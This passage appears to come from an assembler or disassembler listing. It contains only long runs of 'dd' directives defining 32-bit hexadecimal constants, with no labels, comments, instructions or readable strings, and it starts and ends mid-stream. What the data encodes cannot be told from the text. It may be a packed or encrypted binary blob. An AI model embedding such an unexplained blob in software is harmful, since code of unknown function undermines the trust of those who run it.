0C7D34896h, 705E20Ch, 309CD9CCh, 1C775FC1h, 0EDF2622Ch dd 3B22500Bh, 124C81DBh, 2F8238h, 0FB4A94F8h, 0B2028D44h dd 63B6A781h, 20E07A25h, 29552269h, 0EC046890h, 24098C09h dd 0BAB4C6h, 0A3FDDC7Dh, 0CA9405A9h, 8E6063F8h, 0C0BE8840h dd 0FBAD1D5Ch, 7307A9E2h, 0B253C476h, 8C04F86h, 31C1DDEFh dd 4CA4FC22h, 69E3E000h, 845B7BB5h, 7C78F3A5h, 0F68C75B8h dd 70F4D43Fh, 42B0AA2Ch, 0D1207D16h, 30D22141h, 62905F88h dd 440FB96Fh, 65E8C73Eh, 20CDC5F0h, 81043832h, 0ED0AFEF8h dd 248B718h, 3C25C5E6h, 0F06050D2h, 2DFDF9F9h, 900A7CA8h dd 8C362C22h, 0B0341500h, 0B2AE7280h, 38997929h, 0AE7B64C0h dd 4BEC97h, 0F4107AEEh, 40488ACEh, 9CD0FC5Bh, 0BCEA3B28h dd 376D00F8h, 66925329h, 0A58310C5h, 4BF264B2h, 0AE5430h dd 65032A6Eh, 8784EB24h, 4DC42814h, 742E17B0h, 0CA36033h dd 692A11B1h, 1C229620h, 0D3DF2275h, 508D4205h, 0C8082987h dd 0DFC50A5Bh, 69046F28h, 2CF050Dh, 88EA4C93h, 93EFF66h dd 9635E733h, 1592882h, 2E28240Bh, 0DC6964B5h, 0DE413ACh dd 0BEEBE00h, 66FA98F9h, 9DE721Eh, 0CAE3DC7h, 1554749Eh dd 0F8C56AC4h, 644D7992h, 8868F982h, 58CBCBCh, 5077ECDCh dd 0F06186F3h, 883DBD21h, 1749A886h, 804C11E8h, 8E46CEF5h dd 0AC8104A6h, 0BD95A085h, 761D0B24h, 0B468160Bh, 33ED4018h dd 58000587h, 5A3B8955h, 52EA4ABAh, 0CB889090h, 8BDC93h dd 0DAC00A88h, 37DFF69h, 0B215C573h, 210B6F8Dh, 8E4409E7h dd 5C968AE8h, 647DAE08h, 200C22C0h, 24E63571h, 48D69B5Ch dd 3FDF10B4h, 4991FD38h, 0ECD0225h, 482B4DF4h, 4D64D2ECh dd 9F4F6824h, 3722140h, 5A848A53h, 1C5610Dh, 9020380Bh dd 0BFA62E6Fh, 7E0E050Ch, 0DF00475h, 0C0A04E10h, 0F0847B83h dd 5035F1B9h, 50485872h, 890FA611h, 58305362h, 489CF3C8h dd 2318F35Eh, 0C87A2400h, 4E079CA3h, 40720CD6h, 306146E5h dd 84DE3B27h, 20EE73D8h, 0EE29C9FCh, 53413D1Fh, 2508017Eh dd 75DDFF4Ah, 74720461h, 883075F2h, 0D80A1CAFh, 2698496Bh dd 9D279816h, 91749DABh, 4A918074h, 2AD3D25h, 27C6BD9h dd 905F489Eh, 2342440h, 0F92EA079h, 0C748C44h, 84825944h dd 0B202A20h, 84990D65h, 8F9F23Ch, 17184AD9h, 765ED902h dd 77B5FDE6h, 0C822D480h, 300B358h, 9A92866Ah, 0BBC06B94h dd 0F5FD03B0h, 31002D11h, 0A41E36F3h, 0BB5E94h, 257E7D50h dd 0E04C88C8h, 1530AC02h, 7932FCEDh, 180B79E4h, 69031F66h dd 0C420E7BBh, 0E8893AF0h, 1F001D78h, 92FEFA9Dh, 75754F81h dd 610B277Eh, 5583FC79h, 0D81C9166h, 4C24AE94h, 0A624CCDFh dd 62728130h, 24292DCCh, 1F2CB2E0h, 8CA93023h, 0AD1876D1h dd 0A9FAD271h, 0F5B1970Eh, 27594BE6h, 44E253F4h, 0ECDC045Ch dd 8C71B8E8h, 43A5A30Bh, 9E8C5127h, 0C607A05Dh, 0D9DB3177h dd 614E02D9h, 5EF87CA4h dd 8A003846h, 5B123731h, 0EF0096B4h, 0A4F8D05h, 615C6D77h dd 0E085F143h, 0A9A1E495h, 3A2BAF03h, 0E81F4ED9h, 1C179A6h dd 0FC6AF0C7h, 0D9258648h, 2078A1h, 0E8F81D42h, 5796C5h dd 114450Dh, 18270363h, 2DC87860h, 0C4A6616Dh, 1D8AF1E0h dd 357773BFh, 720173ECh, 0F8361930h, 75E24FCDh, 96666483h dd 1004C6EBh, 0C730D4C1h, 76E278A2h, 273E30h, 9A38748Ah dd 0E682CC4Fh, 0B22E040Bh, 341859ABh, 0EC5CA8C0h, 7D3C8CB6h dd 58B527DAh, 5D0D4464h, 23A8489Dh, 53F600D4h, 0DDB20F0h dd 0A6006DE2h, 56D7708Ch, 7585B1Bh, 1DCDC4CBh, 0F080B9EAh dd 0B365F823h, 9E800891h, 510E4AD2h, 27487983h, 30A0FCC2h dd 0EF3601D8h, 6CE0703h, 983DA030h, 6A7AD6h, 0C52E6226h dd 12C79CCh, 0CE930E0Ah, 0ADC6DC77h, 0D0B9C08Eh, 75D7F3D9h dd 4F71200h, 802E32ABh, 24650F05h, 4A60DFC3h, 0F9C7D00Ch dd 0E5967D01h, 0C87F54E8h, 0F5FCD440h, 943B4939h, 432B8A1Ch dd 0BE706BAh, 0B6AE8EC8h, 8498ED50h, 5B4E84B0h, 0B37F4B0h dd 5DBCBD9h, 0E8C9508Fh, 0C61740FAh, 0C0422635h, 7742640Eh dd 0E6192010h, 7FB7C518h, 9985AD70h, 0FDE705C8h, 29D49025h dd 0CC941FBAh, 73135809h, 0EB197050h, 0E5209200h, 30EC430h dd 6888E749h, 4A003EB1h, 0FEBA871Eh, 4B6D09D8h, 6C7E566Ch dd 0B7513E00h, 27F88581h, 8C48B55Dh, 0D8D32A4Dh, 0E3DD3CCBh dd 4BA6201h, 0D6E49294h, 3A02262Bh, 2C390954h, 0CD4174D4h dd 2100228Dh, 6AE7E0D2h, 20076022h, 39C5FC44h, 7916D4B6h dd 8DD56004h, 54244CF2h, 22D74010h, 0CD09E817h, 0F10D586Ah dd 18B5D1D8h, 0F74B00DAh, 67FBC2BCh, 0B50C1AE4h, 705FC74Ah dd 59DC8865h, 3FFFE0A0h, 4B106380h, 23A42E49h, 595D0EBCh dd 1EE0CC40h, 0FF04E4EEh, 84457C0Bh, 0E48EAC84h, 0FC18088h dd 3C204A5Bh, 0F1978870h, 0CCF5B53Eh, 582F5ADCh, 41003923h dd 6469968Eh, 17187CB9h, 0D1E704F4h, 2D244250h, 68EC278Ch dd 1D411DCh, 0E6DFE4A3h, 0C75D73F6h, 0E8574798h, 0A384B654h dd 79A0F30Eh, 44B122D1h, 3A5040AEh, 131FEAEEh, 761A42h dd 0AB3F8718h, 10054936h, 14F1D272h, 65029CF2h, 0AB73771Eh dd 4892045Ch, 61FEEC00h, 3043A204h, 0DBD14E26h, 1D13DF9Fh dd 8891B92h, 0A24C24DEh, 30B9E23Ch, 52C5C19h, 0C3019280h dd 0F41543F5h, 40A10070h, 1B0E2760h, 0B6EC5538h, 782D2CA3h dd 0C77EA840h, 8BA0D6h, 0F2C0B8C8h, 2DFD057Dh, 0E44071C5h dd 971D677Ah, 0F9023FB9h, 7F8DB231h, 3C099418h, 0A2FC99CFh dd 744619EEh, 41854508h, 0B23DC6A4h, 4C0F2E63h, 0E2385017h dd 7DE64A8Ch, 0ED07A051h, 9A649826h, 79D95937h, 0B1AF02E8h dd 944128CFh, 7827C9E5h, 16A13ED0h, 28914D1Fh, 0E5022C89h dd 143E40E4h, 43652FFDh, 5463F210h, 0C403D620h, 0BCCBE09h dd 3E6800Eh, 89CB02C5h, 4CABBA53h, 2BB7F468h, 40651526h dd 1767A808h, 0CB780019h, 0E0DF31A5h, 0DC730A0Bh, 91E0D8ECh dd 18B6D130h, 11291320h, 6594D0ADh, 50B0F82Eh, 236D520h dd 0DF72D4A9h, 0A27D0DDAh, 1262CECh, 41A4ECEFh, 10A778D0h dd 827DFA35h, 38018874h, 0A6ECEE26h, 0C46C2890h, 2304081Ah dd 0F240A2A5h, 7858324Fh, 97B8522h, 2345D5FDh, 0C8B1404Bh dd 94843063h, 36B1FF07h, 179BCA13h, 81389124h, 0CC5BF1E2h dd 264F5D20h, 5C8F5BCh, 0AABD0AEFh, 6B235820h, 223703B1h dd 2ACE0F73h, 3F4950E1h, 60F79885h, 377F9DA0h, 0AC0085F0h dd 324D785Bh, 95C1F884h, 0EBA93400h, 340998BEh, 6565742Ch dd 604FE494h, 5D232860h, 0F12242Eh, 0F308035Ah, 4AE2DDE8h dd 529C307Dh, 99EB0FF2h, 1B607375h, 80E1BAF0h, 0C4FC8BBDh dd 2D020270h, 5028C722h, 0FBECEB60h, 469563Dh, 0A7649E9h dd 63F5ABC7h, 92F80A8h, 38C49C47h, 8CBE8560h, 0BB0ACF1Fh dd 82C1F141h, 1C2C79F8h, 0C453AB3Ah, 0BFB8904Ch, 7D7008Ch dd 988ADA45h, 5CBCDEE5h, 99EA803Ah, 212C2052h, 426F0C15h dd 9499CE2Bh, 1A4B3FFAh, 1CC12CD4h, 0AC24AE04h, 81AD8838h dd 5A938096h, 0E6B4A4h, 1CEE389h, 0C84CEE6Fh, 0AF7A3D25h dd 0C02232E8h, 93E18B8h, 96D8B80h, 9890AD5Eh, 652D74DCh dd 6077E410h, 3F6C023h, 0CD6E61Bh, 0D900D52Fh, 64F2AC14h dd 9CDCB72h, 0B7FCED1Dh, 36E6FC01h, 0FD862CFh, 20286F9Dh dd 162E6899h, 0B7AC0083h, 0CAE10EC8h, 8C023906h, 988202A1h dd 74F4BDh, 0FCECA7B6h, 2C4835D5h, 9BFE80E8h, 0F15D06B5h dd 3FE39051h, 170CD7C0h, 0C102E2D4h, 0DCD940A8h, 8A027A88h dd 0ECEE738Ch, 0A89002A6h, 841D4203h, 458F6C81h, 0B828E904h dd 31839D0h, 3263016h, 0F1CC049Ch, 948EF84Ah, 6EC43288h dd 26DE8C98h, 25F406E0h, 0FD29B8E8h, 64555C24h, 20720B2h dd 0F5260D66h, 438720D8h, 0FC88424Ah, 69830070h, 20C856EFh dd 0FDE0E9C3h, 805D6506h, 97B98DCCh, 0C9008C37h, 0A82DB032h dd 28C07DDBh, 40BC1A03h, 0A24025AAh, 54D14CC1h, 24E0F525h dd 0B0B13042h, 51F10B03h, 0E8180BABh, 4C6C0DF7h, 0BBD1A601h dd 8EED4FC6h, 90679060h, 3F2944B4h, 89C4FD4Ch, 0C1F410E8h dd 1AE10A5Eh, 88C7FD6h, 0A70441BFh, 20A807B9h, 39595D18h dd 784F69AAh, 7FE4E2h, 19ACFD2Dh, 70559DCEh, 0F8008FE0h dd 0E3F91F58h, 3A859296h, 0B8630DE8h, 0C3B567DEh, 0C10064E0h dd 0E04AD7ADh, 3A54FFAh, 722487B3h, 0D3F01965h, 8870EC09h dd 241156Bh, 50F1E70h, 0B2C4C147h, 0F8212F8Bh, 0BCED58EEh dd 184D11A7h, 0D6C903C0h, 1444B5F6h, 0E92B0400h, 0A1608B21h dd 0F2212FFh, 8004A842h, 97D77118h, 4F7D03E1h, 37813EFAh dd 2F429490h, 827ED210h, 49FDE70Bh, 0B9A1B040h, 72486B2Dh dd 3C352000h, 0A46B4C5Bh, 4F4BA20Fh, 0E9D2D140h, 8C766AA1h dd 644C85Dh, 2749AC63h, 7FB11179h, 0C1C5075Bh, 72C40AB0h dd 787630C0h, 0C47B043Ah, 0C1D2422Dh, 0FCA9DCA4h, 6007921h dd 0B2079702h, 1466A1Ch, 0DA30ECE0h, 88B86EB4h, 0A045C9h dd 0BF5EFF89h, 0A0B9C59Bh, 99E24682h, 1FE8533Bh, 0B6DD02DEh dd 30D62F63h, 0A27F27BAh, 0F0BE4400h, 30033C74h, 0B59F307Fh dd 9C86EA11h, 0BC20D1D2h, 9525A5E7h, 90DA78A3h, 0AD1059B6h dd 91002CC5h, 0A248AFD4h, 9E005ED3h, 0AA7252E5h, 27A082FFh dd 0E444BA61h, 0A54F7443h, 0D0E6DD98h, 49B7B1CCh, 3BD5BA48h dd 0A1DDEF00h, 22D0C495h, 0C4B5EDE1h, 69CB3B38h, 0AF6F4400h dd 5A0329C9h, 8B13DC9Eh, 40B39C9Ch, 1B2CE259h, 410B58F4h dd 6B90E4B8h, 0E05C21A3h, 0EEAE9E40h, 537C01FFh, 0C678EAD5h dd 46DDE48Fh, 0E04C8051h, 8CB1A1B9h, 7C9608h, 6F9F081h dd 0B7B57B3Ch, 6A9E00D8h, 0D5F6CA7Ah, 6E058100h, 174103D7h dd 8D750A87h, 29CC524Bh, 0EC172F8Ch, 89800C91h, 0AE47B848h dd 53BD3802h, 0FE2DE3BAh, 0D7B285B8h, 0C2FCFC43h, 44DE7280h dd 0F42700ACh, 159FA6Bh, 7D020EDAh, 2E66BE05h, 39B878F5h dd 0B3ACC526h, 0D900DE54h, 7EDF8327h, 443DD50h, 0AC62F715h dd 0ADF8B025h, 0CDB4CF1Eh, 7165509h, 0E13CE584h, 5A363B8Dh dd 0C6FFD200h, 56F0BCDCh, 0D8E0E375h, 3623100h, 0A0A68E45h dd 0F0635A49h, 7841EE90h, 746056FEh, 2D017846h, 2615B608h dd 4DA0824Eh, 0F163F712h, 60B4731Ch, 605C6D02h, 0BFCD6150h dd 84003645h, 47FE069Ch dd 122CFC94h, 92A71Ch, 6BCFB704h, 0D617A280h, 8C8E3C88h dd 41C377C8h, 4712C043h, 61A7001Ah, 5359B584h, 0AF9F19B6h dd 2F8568E0h, 4A91E417h, 0C71E0480h, 0C5251BB6h, 0A560789Dh dd 4ED2D68h, 0F080D145h, 15E3D6Eh, 22F61C5Bh, 0DACC5FDBh dd 422EA261h, 908A3C34h, 946769Ch, 0AE6BD50Fh, 0CED224C0h dd 761EFC28h, 665841B3h, 78A2C29h, 0FC4E9C5h, 87C0AF49h dd 5811D8EDh, 375A0A0Eh, 0EE04E247h, 0F38CA95Dh, 23D57008h dd 38220226h, 2868002Dh, 8110722Bh, 0DC7031C6h, 0B3023F6Dh dd 0D60CD346h, 0F5A48141h, 562F2949h, 5D3CE498h, 0A110AE95h dd 23111C1Fh, 2470C5ECh, 2370B37h, 6D8B91DBh, 5AE79C68h dd 822B4081h, 7305675Ch, 8C20588Dh, 0AC05F32Eh, 0A7262718h dd 448CB3Ch, 0A0E5F105h, 0E002DECCh, 2BDC730Bh, 0D93C790Dh dd 1CF419BEh, 0B2A0775h, 90048F9Dh, 5CC7CC21h, 0DC3FD32Ch dd 38833613h, 6547C848h, 80254A90h, 6DF88374h, 0C3A00097h dd 3B35FC53h, 0E7807284h, 15407E11h, 0BD2F80B2h, 0C48065C7h dd 5738610Ch, 0F7E17E31h, 5EB98FE8h, 0F08025Fh, 94D055CCh dd 0F082E109h, 9EA8D0A9h, 0B4CA44F4h, 9400617Ch, 3C97F4F1h dd 590770h, 8D21BF4Bh, 559E4579h, 3F0CC17Bh, 4965F106h dd 0A4C918B1h, 0F8234064h, 0F3D3D12Dh, 1CF0EB8h, 58550090h dd 0C502443Eh, 94BD1F72h, 43DD7D7h, 1365F774h, 0E3DD048Bh dd 64251700h, 0E61B4051h, 0A71126ECh, 0E1BF0460h, 0B234B45Ah dd 3D3C3F5Dh, 3941E05Dh, 2487CBDh, 0EE104DBCh, 10E1A1ECh dd 3E218F7Eh, 21076B23h, 6FCF98C4h, 0CC17A884h, 0E2E4A443h dd 23D04645h, 751E27AAh, 2A896811h, 24FD604Eh, 10E424E1h dd 1D81401Ah, 8397F5FAh, 22FCF14h, 68976659h, 265D8C5Dh dd 84974E4h, 6091F5E7h, 3185CF0Dh, 0BFF13441h, 82298A00h dd 0C402CC5Fh, 5A1C04E7h, 5E60B600h, 97B18F7h, 2F426323h dd 0E1058068h, 0B1BF8D25h, 87086124h, 44AFC894h, 9169048Ch dd 0C3838B75h, 989A809Bh, 19A08257h, 0C2F7005Fh, 0B925DD1Ch dd 0F5D4EA26h, 433B3C21h, 8540402Ch, 0B24011A0h, 601E67E8h dd 0D1474012h, 8B52D3DBh, 40C33F9Ch, 0E3AA2D73h, 0CB27E880h dd 0E4261618h, 9C161009h, 48D758E4h, 78C09042h, 0CECA9767h dd 58695CEAh, 0C058EDC9h, 0E4246579h, 2E1BBD0Fh, 0D84EAC8Ah dd 0C8D200D0h, 763362CFh, 0B31E916Dh, 0F970B253h, 5E2BB7C5h dd 62D8D2D2h, 9460E8F6h, 147257A7h, 0E409E67Dh, 0A63F6112h dd 449FE088h, 0F94802E0h, 0AB916F15h, 4BDFE4E0h, 75784EBDh dd 0DD61446Bh, 0BF0151EAh, 8478F69Fh, 8052C64Ch, 0AC905F42h dd 2FF969D6h, 0BAA0CCh, 1297CC5Eh, 36E3F5F6h, 0AF405705h dd 9C40495Ch, 29F1B7CAh, 42FA3Eh, 41957EF5h, 0ACE1BDD8h dd 54B30809h, 40909174h, 8A091020h, 9401A080h, 4713CD72h dd 80B01E3Bh, 0C5A02F0Fh, 0FB4E28D0h, 40B584D2h, 0E353FFh dd 6EA99D61h, 0C7DEEB34h, 5CB6430Bh, 62B017Ah, 8D6F7326h dd 14162BCCh, 0BBF0F0A0h, 7CC52764h, 3E614C64h, 0C084D169h dd 0B4848CA9h, 406E2734h, 0F5CC221Dh, 0C8A51813h, 0A288802Fh dd 1492DBB6h, 0B5847D4Ah, 8C8A1497h, 0DF5CAD80h, 4EEDB807h dd 5D5883ECh, 881CCFA5h, 5B82C071h, 3000A78Fh, 0E6672811h dd 25DA2C31h, 0C0905E64h, 0EE887102h, 4271C46Dh, 0D7108825h dd 980A055Fh, 5942D478h, 47BB24ACh, 3120960Eh, 0C34BE2h dd 52CB4F7Ch, 0B932E67Bh, 9F985A05h, 78436112h, 80301DA3h dd 13B66D15h, 3064D57Ah, 713D35A4h, 0B66EB380h, 394676E4h dd 0F0C0A03h, 0E925E9F4h, 5C9C32DDh, 0C465674h, 9058CC07h dd 70F7D334h, 52A488BDh, 7FE55C00h, 4B05DBF3h, 5F7812B8h dd 1BAC3087h, 9400DE2Ah, 0E4C83202h, 6C91C0h, 0B5DB9748h dd 0A7B723E2h, 0E47650AAh, 0E13802DCh, 62833474h, 18026879h dd 70EF5CD5h, 0A5FB22B0h, 871FCE00h, 0FC93B3A3h, 314BFDh dd 0B78D7CBCh, 17954234h, 81379150h, 9844E55Bh, 43C09030h dd 99EC2246h, 1837D178h, 566F12CAh, 5484B048h, 10BA9451h dd 0D0471280h, 7B29AAB0h, 0CA8084CBh, 54BFED0Dh, 0F2E64BB4h dd 7B392504h, 0DB67084h, 477F5FEh, 0FC2AF705h, 0B458F9C5h dd 1112A798h, 3B61EC96h, 0B095809Ah, 0F72E6635h, 0E7DCA9E6h dd 0E47B72F8h, 0D0AB4AC2h, 424D84F0h, 0C189769h, 4B7C19CCh dd 65B82073h, 0C7F0FE2Eh, 60B6352Fh, 5FF885A0h, 1298B015h dd 7A821810h, 2F8C9B75h, 0B4A69BF8h, 0E9268525h, 509EC560h dd 6D4A2062h, 0AD1480F3h, 8C581C82h, 385E111Ah, 0DB2548F1h dd 6CFA70ACh, 0E4055DFCh, 2C152ADBh, 0E20404B2h, 0B808C3E6h dd 1F252F74h, 8F3C112Ch, 0D0CBE0ABh, 0B9D4E623h, 96F29D3Ch dd 281020A0h, 3CE90A03h, 6AAEB4F0h, 0AD660020h, 0CA0524D8h dd 23201370h, 9B3CBC84h, 0ED47E002h, 5E3A03F4h, 0CF7746B1h dd 0C90A96C0h, 78E61798h, 0A05C7B2Fh, 85D92254h, 5BA50966h dd 24741540h, 929B780h, 4A35C60Eh, 8374070Ah, 0B7762543h dd 0ECAA1058h, 99213F82h, 757D161Ch, 0A01060EEh, 2D17C67Bh dd 94B0777Eh, 0C0649DBCh, 10F02495h, 0ECD22142h, 0A56F032Fh dd 9659810Fh, 3898742Dh, 0C69541E0h, 6F65048Ch, 0BE988BACh dd 5B59A842h, 6078DB3Fh, 49A4D226h, 89F038A6h, 3725C480h dd 0C0F82E9Dh, 1E1DDFB5h, 0ADC00B7h, 172923D1h, 0BD2DF0AAh dd 2F7C40C4h, 281AACA0h, 60A8A649h, 0A083A2E1h, 0C6A1CF4Bh dd 531AE665h, 0A46421ACh, 65E3D048h, 908220A5h, 2398DC5h dd 6858A615h, 0E54F88F8h, 0E22EE080h, 5320B0CBh, 0B2287021h dd 13708090h, 4A074856h, 0DC23B113h, 625DAFB4h, 0F3B820h dd 1F219CFBh, 42838D92h, 0A570109Dh, 0D0F60B6Eh, 9100B02Eh dd 70FF1BEAh, 77635600h, 0FC25E501h, 0FBFE1CD7h, 0FA8E4979h dd 0FB732CFBh, 0AA5CF09Eh, 4F210054h, 7833E629h, 90265984h dd 0C700F67Fh, 0D41F055Dh, 220B00F3h, 6550289Bh, 6030DC6Ch dd 3E4721BCh, 0E7FA0491h, 80E3224Bh, 357FD8A0h, 8025E2E8h dd 0C05296h, 4E17A6E6h, 650F2B8Dh, 78DF6A00h, 487F1B6Eh dd 0E247003Dh, 0E1C64C96h, 0B33B376Fh, 60AF0B79h, 433A00A2h dd 98CCC215h, 6F0E22A8h, 3B21CB0Bh, 73CCE096h, 0B78400C5h dd 0D3B842CFh, 0FCB220D1h, 0E104C490h, 0A47DC9E2h, 0A0942BFFh dd 1BB87486h, 83A0E06h, 5D022BE2h, 5A8C020Fh, 2378D02h dd 0E70FFAD2h, 55C2B69Ch, 3D4840BAh, 0FE08C6AAh, 85371899h dd 0D4262828h, 0C6C0EC18h, 1826D508h, 8098A31h, 0DF015B38h dd 0AE48033Dh, 0BA92028h, 10C28B31h, 9A01E78Fh, 0D9B101A3h dd 0E5F8088Ch, 10C6CDB1h, 2008F632h, 5131F544h, 50F22054h dd 0E2EB0888h, 0C416108h, 0BEB09AA2h, 59C3F9C4h, 4270204h dd 0A5044D46h, 2D360675h, 250B2008h, 0F9F7AD33h, 0C6101801h dd 5E9508FBh, 801AC880h, 0F8133C2h, 94894195h, 10407210h dd 0F119D8A6h, 888610FCh, 0C210231h, 7020ACCDh, 0C496E140h dd 0C7D99A9h, 62EB5960h, 3583082Eh, 3E85C02h, 4010F132h dd 0D1812C4h, 0C1C310CEh, 4BF08C6h, 0FE9F2018h, 20C9FF20h dd 0A0654E5Eh, 8C4654A9h, 2020AD83h, 0E17D4B76h, 0F188C081h dd 820813F9h, 5C350CE9h, 0E3405008h, 0FE76400Eh, 923F0340h dd 0AF2C2024h, 8F31531h, 2088385Ch, 5B15A16Ch, 63BC48ACh dd 10DB8F08h, 10E44618h dd 432A52DCh, 0FFBE20C8h, 708074EEh, 24778109h, 5040A320h dd 87BC400Dh, 0AA100A63h, 0AB081811h, 58C818CBh, 80777580h dd 8CA1547h, 0FB88E41Eh, 0A11419F9h, 73A05371h, 0A866917Bh dd 20510410h, 393305E3h, 31A06941h, 0AA694048h, 4BFD0233h dd 3EEBA0Ch, 101BA263h, 19B1948Eh, 83FDEA9h, 32CC5165h dd 16D052F8h, 372B902h, 1818C362h, 4308A660h, 229B80ABh dd 28A3ECAAh, 182AD749h, 9D2A98A6h, 16FDF00Eh, 81A863B1h dd 3010D029h, 0BB104790h, 128B1045h, 20A71D18h, 8CAA427h dd 0A95DC6Dh, 899831D4h, 52032193h, 4C361924h, 10E4FD95h dd 0D01027A2h, 0A1DA3156h, 4B02131Eh, 0FDE03468h, 242108C9h dd 80910EF8h, 8D023E9Ah, 83DEC48h, 0C4BF8580h, 4195220h dd 0EB0440B4h, 0D5700459h, 0C291BD0Ch, 0E5C4F812h, 0BC3BCB4h dd 0E378D7D9h, 81BAD4A7h, 80D6A0EFh, 283A5310h, 2470B5Bh dd 19482F4Eh, 1CE90FD1h, 9FDC40C9h, 3C004D37h, 6A96EF47h dd 74295CC6h, 10FE1701h, 8090E852h, 4255D491h, 15440F17h dd 0DBA1DF95h, 0D03C267Ch, 3018BCC1h, 4061645Ch, 19883ACCh dd 0D0C92712h, 46EAE560h, 6E064B03h, 37F7A4h, 0F4D663B0h dd 84B30DD3h, 0D7682003h, 0E8224349h, 0B4B88h, 79B543Ah dd 26574E27h, 508CBA06h, 15878E0h, 0CF3F0985h, 7114C27Ch dd 3978BC88h, 7810E09Ch, 2F8660E6h, 0A8D2598Dh, 3018C87Fh dd 5C08C731h, 0B8536F1Ah, 0EE6FD280h, 8500ABE8h, 0D6774029h dd 6A577Bh, 7C03FC97h, 1D8C4218h, 9C160600h, 0B4525E56h dd 0FF8B30C9h, 3F018570h, 6F8215Ch, 905DCF5Fh, 29100F18h dd 1DFF2E66h, 34EA948Ch, 753F6105h, 0FD9420D0h, 0AC30CCECh dd 0A50D3883h, 4F9D28E1h, 782000FCh, 0E64C6D0Fh, 0A800F134h dd 1DB54014h, 259BD78Ah, 4782596h, 815C710Ch, 3B4F08Dh dd 0E80159A7h, 481E58F6h, 5B16808Fh, 854014C7h, 2D82FF5Fh dd 88E047C9h, 404E5C80h, 7C65E480h, 0FBDD3D67h, 50FC00F4h dd 0E86CD686h, 99CE7390h, 744D4143h, 58805BCEh, 0AE4BEEC7h dd 0E9066477h, 7338E67Dh, 1DA33AE0h, 300C7F80h, 8B0874DAh dd 3C16967Ch, 80A06AE1h, 281274A7h, 2A42729h, 0D1535723h dd 0D886D4C7h, 0C63CD911h, 20E413A4h, 0BA877C93h, 4ACE0C3h dd 2C0231EEh, 6C927BC0h, 0B5CF171Ch, 8D0060ACh, 0C1737DB3h dd 1A008A21h, 6FC9C7A0h, 1A5E4FCEh, 28D8C6CFh, 0E7EC00FFh dd 7BE861E5h, 91F0C0BEh, 29B70128h, 9CAC3150h, 0A7BCD40h dd 0A72096E6h, 865807E4h, 8B089C80h, 4A60A104h, 14901FA0h dd 0D8204011h, 0FB529099h, 0F0342E4h, 0BA8AD560h, 0C61114FCh dd 21C6749Ch, 197990C8h, 0E0891483h, 0E52628ECh, 0B4422781h dd 34F410FDh, 21654B61h, 843326B4h, 1D9CDD10h, 7038C080h dd 5D8A2519h, 5C867854h, 0EB408573h, 91073879h, 8A300E10h dd 0F88617C8h, 7BA71C7Ch, 0CF44AB41h, 0E987F449h, 8C66E857h dd 0E20E2768h, 205A7C1Fh, 308E2FCDh, 86280B14h, 0B4E0D7E5h dd 98A240FDh, 0BFA68C83h, 9EA88DA4h, 34D87BE9h, 6F1ECF50h dd 5C42F003h, 0F8A20E14h, 2F000A9Bh, 0D50139h, 60FB21E1h dd 3CDA108Ah, 0DD14D278h, 4898F4D9h, 0E015CE24h, 0ECF7FBB5h dd 9FAD305Ch, 0AEBDEF0h, 54FFE500h, 21B69C43h, 80D891E1h dd 97CE8630h, 38002D4Bh, 17218E3Bh, 459BC37h, 0CCEE64F8h dd 8CE8B00Ch, 0B4E86312h, 4048E842h, 0B850609Fh, 0DD89205Bh dd 91535C00h, 7A6A2E32h, 0A49C0098h, 0CA29D32Ah, 0B400706Eh dd 0C80C9057h, 2D2E75EBh, 70416CE1h, 28683DABh, 0F8C05021h dd 85C7886h, 0C090A379h, 3528ACDh, 7ADDBF0Ch, 0B81D7E0h dd 972C3085h, 24606B48h, 8A6038E5h, 0D519FCh, 0A19F7B46h dd 9481EB28h, 6BD23Eh, 61C48A75h, 50ABCF4Ch, 9FCDFh, 6D21525Bh dd 1B11453Dh, 29CE0E00h, 0F5EBCDC7h, 0E86B008Ah, 9074B4BAh dd 0E899DEC9h, 2F13F820h, 0D82070EDh, 92A02BE8h, 0C1BC8C20h dd 0EE5C7AD8h, 122887B4h, 2F47309Bh, 427983C2h, 0B940621Ch dd 0C23BA48Ch, 835F6754h, 26D6B17Ch, 0A43410h, 8C0817CAh dd 0E83A4785h, 0B8ACD4F3h, 27A7112Ch, 8026590Ch, 0A36A0463h dd 8071CCB1h, 54E18984h, 27881167h, 0B3E87CB3h, 0C8B90F70h dd 0F841AAACh, 4434AE5Ch, 0FB881C4h, 71942418h, 2B2064B0h dd 7440EBDCh, 27421665h, 0FC52AE8Eh, 267CDA4Ch, 0E18674C9h dd 4918C0BFh, 9368E0h, 0CED14A84h, 0E514AD81h, 0D29C2E51h dd 1CAFF00Ah, 6C87E110h, 60A1294Bh, 3A0F8648h, 0F27588C1h dd 0B0012425h, 60301025h, 317D027Ah, 9CF4C98Ch, 8060C0CAh dd 0BD3E5448h, 7C4D7FF8h, 51AE0270h, 4069EA23h, 0FDEF138h dd 430E5298h, 8EF0Ah, 0AB1BEE74h, 566415E5h, 380028B1h dd 3EB3508Fh, 71422F5h, 67C0A1Ah, 290087C9h, 84DE14D8h dd 2F715D0Ch, 1B008E10h, 0FE07E4BAh, 0AB3E7Bh, 3CA8DBE6h dd 316B78DCh, 0CBDD3Ah, 39EB2709h, 1C8AEA94h, 470DE2E5h dd 1A4BE1BFh, 867E09E4h, 90552C09h, 3538AE0h, 0D7C156E4h dd 0BBC1F059h, 131192EDh, 0E1CC4801h, 408778C8h, 8235EE2Fh dd 862B202h, 0A155625Dh, 2984365Ch, 663F7C27h, 22456863h dd 677194B0h, 2B7FAC2Ch, 0D4E8161Fh, 0EB131971h, 4B0023D3h dd 0A1E7E475h, 2B0E0476h, 0C5DDCBA7h, 807095ADh, 944F97D4h dd 0E11628EEh, 5C41452Ch, 0B91C5C77h, 1EB4034h, 8C6D47F1h dd 0C8D9CDC6h, 7802E989h, 0E0510D93h, 6E0882E5h, 0FCD088FAh dd 820ECF85h, 878BD00Bh, 893F2FB8h, 84C476DDh, 0C1E61BA7h dd 22A18D98h, 84832C68h, 0E1AF0D60h, 9CAA49E7h, 23D2007Dh dd 0DB373639h, 0E6583084h, 0C4FB2810h, 0AA403E77h, 0E12F0D14h dd 7338DD32h, 863263Ch, 0C8418A8h, 0C8C1320Ch, 0FCCFA890h dd 162C92EDh, 32E6E05Bh, 5481BBCCh, 2D5E8h, 0C5ACE7Ah dd 1CD8CF45h, 4202D238h, 5C5F1576h, 9C6A44h, 0B367C394h dd 0D7C9EBA3h, 1983430h, 36E3BD10h, 0D492CED9h, 48B8A432h dd 786D803h, 0BC65E80Ah, 0C28A1080h, 0F11439CCh, 7C14B848h dd 13C09C8Eh, 3B3D65E1h, 0CCB09492h, 